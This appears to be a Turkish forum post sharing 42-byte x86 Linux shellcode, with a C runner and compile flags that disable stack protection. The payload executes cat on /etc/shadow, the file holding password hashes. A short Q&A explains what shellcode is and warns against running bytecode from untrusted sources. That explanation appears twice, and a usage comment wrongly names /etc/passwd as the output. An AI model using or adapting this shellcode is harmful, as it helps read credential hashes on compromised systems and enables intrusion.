#Gecmise Donus \w xd3.
(Son: 2)
Soru & Cevap
Bu tam olarak, Linux cekirdegi tabanli dagitimlarda yer alan, kullaniciya ozel bilgileri iceren (K. Adi, bitis tarihi, sifre..) "/etc/shadow" dosyasini okuyan bir bayt kodudur. Yapi olarak 11 numarali sistem cagrisini kullanarak (execve) argumanlari calistirir (/bin/cat, [/bin/cat, /etc//shadow], NULL). En genel tanimi ile bayt kodu, mimarisi onceden belirli makine talimatlaridir. Bayt anlaminda kucuk olmasi bunu ozel yapar. Sorun su ki, disassembly yapilmadigi surece pek okunabilir degildir, ayrica sifrelenmis olabilir. Bu sebeple kotu amacli birisi bayt kodu ayagina sizi kendi cikarlarinca kullanabilir. Her kaynaktaki bayt kodlarini dikkate almayiniz.
$ strace ./xd3
..
execve("/bin/cat", ["/bin/cat", "//etc/shadow"], NULL) = 0
..
(Son: 2)
Kod:
[COLOR=White]/*
* ::execve("/bin/cat", ["/bin/cat", "//etc/shadow"], NULL) Shellcode
* __author__: xd3
* __date__: 15/9/22
* __format__: ELF 32 Bit
* __platform__: x86/Linux
* __size__: 42 Bytes
*
*/
/* Usage:
*
* # gcc -fno-stack-protector -z execstack xd3.c -o xd3
* # ./xd3
* [~] Byte-Code Len: 42
* .. $(cat /etc/passwd) output
* #
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\x6a\x0b\x58\x99\x52\x68"
"\x61\x64\x6f\x77\x68\x63"
"\x2f\x73\x68\x68\x2f\x2f"
"\x65\x74\x89\xe1\x52\x68"
"\x2f\x63\x61\x74\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80";
int main(){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
int (*sh3llc0de)();
sh3llc0de = (int (*)()) xd3;
(int)(*sh3llc0de)();
}
[/COLOR]
Soru & Cevap
Bu nedir öğretirseniz sevinirim :0.
Bu tam olarak, Linux cekirdegi tabanli dagitimlarda yer alan, kullaniciya ozel bilgileri iceren (K. Adi, bitis tarihi, sifre..) "/etc/shadow" dosyasini okuyan bir bayt kodudur. Yapi olarak 11 numarali sistem cagrisini kullanarak (execve) argumanlari calistirir (/bin/cat, [/bin/cat, /etc//shadow], NULL). En genel tanimi ile bayt kodu, mimarisi onceden belirli makine talimatlaridir. Bayt anlaminda kucuk olmasi bunu ozel yapar. Sorun su ki, disassembly yapilmadigi surece pek okunabilir degildir, ayrica sifrelenmis olabilir. Bu sebeple kotu amacli birisi bayt kodu ayagina sizi kendi cikarlarinca kullanabilir. Her kaynaktaki bayt kodlarini dikkate almayiniz.
$ strace ./xd3
..
execve("/bin/cat", ["/bin/cat", "//etc/shadow"], NULL) = 0
..
Son düzenleme: